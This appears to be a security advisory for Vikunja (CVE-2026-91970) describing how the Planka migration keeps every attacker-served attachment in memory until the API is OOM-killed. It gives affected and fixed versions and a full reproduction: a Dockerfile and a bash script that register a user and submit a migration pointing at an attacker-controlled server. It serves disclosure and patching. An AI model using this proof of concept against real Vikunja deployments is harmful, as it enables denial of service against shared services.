code.vikunja.io/api
Affected
- introduced
2.5.0, fixed2.6.0(semver)
Fixed versions
2.6.0
Fix
- Fixed version
2.6.0go get code.vikunja.io/[email protected]
Advisory
Also known as: CVE-2026-91970, GO-2026-6757
Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API
Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API
Summary
The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.
Impact and affected scope
d66ef3d1a39c6f7289593059a1a34afd1d059260 on 28 August 2026> 2.5.0 for the tested post-2.5.0 main branch; no released build was independently reproducedA low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.
Technical details
Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.
Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination
Relevant code:
pkg/routes/api/v2/migration_credentials.go:35pkg/routes/api/v2/migration_shared.go:73pkg/routes/api/v2/migration_shared.go:95pkg/modules/migration/planka/client.go:37pkg/modules/migration/planka/client.go:356pkg/modules/migration/planka/fetch.go:29pkg/modules/migration/planka/fetch.go:32pkg/modules/migration/planka/convert.go:275pkg/modules/migration/planka/convert.go:280pkg/modules/migration/planka/convert.go:293pkg/modules/migration/planka/planka.go:86pkg/modules/migration/planka/planka.go:100Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create reproduction/Dockerfile:
FROM golang:1.27-bookworm AS builder
WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
&& printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
&& go build -o /out/vikunja .
FROM golang:1.27-bookworm
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates curl python3 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh
Create reproduction/verify.sh:
#!/usr/bin/env bash
set -euo pipefail
test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"
mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/
python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
kill "${VIKUNJA_PID}" 2>/dev/null || true
wait "${VIKUNJA_PID}" 2>/dev/null || true
fi
if kill -0 "${PLANKA_PID}" 2>/dev/null; then
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
fi
}
trap cleanup EXIT
for _ in $(seq 1 90); do
if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
&& curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
break
fi
sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null
REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","email":"[email protected]","password":"PoC-Test-Password-123!"}' \
http://127.0.0.1:3456/api/v2/register)"
test "${REGISTER_CODE}" = "201"
curl -fsS \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \
http://127.0.0.1:3456/api/v2/login > /work/login.json
TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')"
test -n "${TOKEN}"
BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")"
OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \
-H "Authorization: Bearer ${TOKEN}" \
-H 'Content-Type: application/json' \
-d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \
http://127.0.0.1:3456/api/v2/migration/planka/migrate)"
test "${MIGRATE_CODE}" = "200"
for _ in $(seq 1 90); do
if ! kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
break
fi
sleep 1
done
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
echo "[PoC] target survived unexpectedly" >&2
tail -n 80 /work/vikunja.log >&2
tail -n 80 /work/planka.log >&2
exit 1
fi
set +e
wait "${VIKUNJA_PID}"
TARGET_EXIT=$?
set -e
OOM_AFTER="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
ATTACHMENTS_SERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"
test "${OOM_AFTER}" -gt "${OOM_BEFORE}"
test "${TARGET_EXIT}" -eq 137
test "${ATTACHMENTS_SERVED}" -ge 4
kill -0 "${PLANKA_PID}"
if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then
echo "[PoC] health endpoint remained available after target exit" >&2
exit 1
fi
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
trap - EXIT
echo "[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))"
echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy"
High Basis: The source's own band: HIGH
2.5.0, fixed 2.6.0 (semver)2.6.0
2.6.0go get code.vikunja.io/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0